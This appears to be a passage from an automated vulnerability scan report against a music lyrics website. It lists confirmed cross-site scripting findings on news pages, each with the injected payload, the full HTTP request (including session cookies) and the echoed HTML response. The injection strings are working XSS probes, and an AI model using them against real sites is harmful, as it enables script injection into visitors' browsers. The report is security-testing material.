<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_728x90;tile=2;sz=728x90;ord=1299460903?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div id="navLeft">
<img src="http://artists.ml-cdn.com/profile/922016684MileyCyrusProfile.jpg" alt="Miley Cyrus" width="166" />
<h2><a href="miley-cyrus-overview.html" title="Miley Cyrus Overview">Miley Cyrus</a></h2>
<p class="addtofav">
<a href="request.php?dothis=become_a_fan&artistid=922016684" title="Add to My Favorites">Add to My Favorites</a>
</p>
<ul id="artistnav" title="News-int/miley-cyrus/922016684/0">
<li><a title="Miley Cyrus Overview" href="/miley-cyrus-overview.html" >Overview</a></li>
<li><a title="Miley Cyrus News" href="/miley-cyrus-gossip-news.html" >News</a></li>
<li><a title="Miley Cyrus Awards" href="/miley-cyrus-awards-featured.html" >Awards</a></li>
<li><a title="Miley Cyrus Albums" href="/miley-cyrus-albums-list.html" >Albums</a></li>
<li><a title="Miley Cyrus Lyrics" href="/miley-cyrus-lyrics.html" >Lyrics</a></li>
<li><a title="Miley Cyrus Videos" href="/miley-cyrus-music-videos.html" >Videos</a></li>
<li><a title="Miley Cyrus Pictures" href="/miley-cyrus-pictures.html" >Pictures</a></li>
</ul>
</div>
<div class="module" id="ipod"><script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_160x600;tile=4;sz=160x600;ord=1299460903?"></script></div>
<div class="module"><div id="jqpollwrapper">
<div id="jqpoll">
<div id="jqpollhdr"><h4><span class="icoPoll"> </span>Poll</h4></div>
<div id="jqpollbody">
<p>Have you downloaded our iPhone app?</p>
<ul id="pollresults">
<li style="display:none"></li>
<li><input type="radio" name="poll" value="5_18" />Yes! Love It</li><li><input type="radio&qu..
- /2011-rihanna-and-ciara-in-twitter-row-news.html
/2011-rihanna-and-ciara-in-twitter-row-news.html
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
nsextt
|
GET
|
" stYle=x:expre/**/ssion(alert(9)) ns="
|
Request
GET /2011-rihanna-and-ciara-in-twitter-row-news.html?nsextt=%22%20stYle=x:expre/**/ssion(netsparker(9))%20ns=%22 HTTP/1.1
Referer: http://www.metrolyrics.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460445; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; bblastactivity=1299460453
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 10873
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:21:44 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="Rihanna and Ciara in Twitter row News about Rihanna" />
<meta name="keywords" content="Rihanna and Ciara in Twitter row" />
<meta property="fb:page_id" content="81914997331" />
<title>RIHANNA AND CIARA IN TWITTER ROW</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"news","section":"Rihanna","sectionURL":"rihanna-lyrics.html","title":"Rihanna and Ciara in Twitter row"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/artist_v2_sprite.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460904?"></script>
<div id="header">
<h1>Rihanna and Ciara in Twitter row</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_728x90;tile=2;sz=728x90;ord=1299460904?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div id="navLeft">
<img src="http://artists.ml-cdn.com/profile/373707204RihannaProfile.jpg" alt="Rihanna" width="166" />
<h2><a href="rihanna-overview.html" title="Rihanna Overview">Rihanna</a></h2>
<p class="addtofav">
<a href="request.php?dothis=become_a_fan&artistid=373707204" title="Add to My Favorites">Add to My Favorites</a>
</p>
<ul id="artistnav" title="News-int/rihanna/373707204/0">
<li><a title="Rihanna Overview" href="/rihanna-overview.html" >Overview</a></li>
<li><a title="Rihanna News" href="/rihanna-gossip-news.html" >News</a></li>
<li><a title="Rihanna Awards" href="/rihanna-awards-featured.html" >Awards</a></li>
<li><a title="Rihanna Albums" href="/rihanna-albums-list.html" >Albums</a></li>
<li><a title="Rihanna Lyrics" href="/rihanna-lyrics.html" >Lyrics</a></li>
<li><a title="Rihanna Videos" href="/rihanna-music-videos.html" >Videos</a></li>
<li><a title="Rihanna Pictures" href="/rihanna-pictures.html" >Pictures</a></li>
</ul>
</div>
<div class="module" id="ipod"><script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_160x600;tile=4;sz=160x600;ord=1299460904?"></script></div>
<div class="module"><div id="jqpollwrapper">
<div id="jqpoll">
<div id="jqpollhdr"><h4><span class="icoPoll"> </span>Poll</h4></div>
<div id="jqpollbody">
<p>Have you downloaded our iPhone app?</p>
<ul id="pollresults">
<li style="display:none"></li>
<li><input type="radio" name="poll" value="5_18" />Yes! Love It</li><li><input type="radio" name="poll" value="5_19" />No! But I will...</li><li><input type="radio" name="poll&quo..
- /2011-kylie-minogue-cries-while-talking-about-cancer-battle-news.html
/2011-kylie-minogue-cries-while-talking-about-cancer-battle-news.html
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
Query Based
|
QUERYSTRING
|
'"--></style></script><script>alert(0x00078B)</script>
|
Request
GET /2011-kylie-minogue-cries-while-talking-about-cancer-battle-news.html?'"--></style></script><script>netsparker(0x00078B)</script> HTTP/1.1
Referer: http://www.metrolyrics.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460445; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; bblastactivity=1299460453
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: LiteSpeed
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 10591
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:21:44 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="Kylie Minogue cries while talking about cancer battle News about Kylie Minogue" />
<meta name="keywords" content="Kylie Minogue cries while talking about cancer battle" />
<meta property="fb:page_id" content="81914997331" />
<title>KYLIE MINOGUE CRIES WHILE TALKING ABOUT CANCER BATTLE</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"news","section":"Kylie Minogue","sectionURL":"kylie-minogue-lyrics.html","title":"Kylie Minogue cries while talking about cancer battle"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/artist_v2_sprite.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460904?"></script>
<div id="header">
<h1>Kylie Minogue cries while talking about cancer battle</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
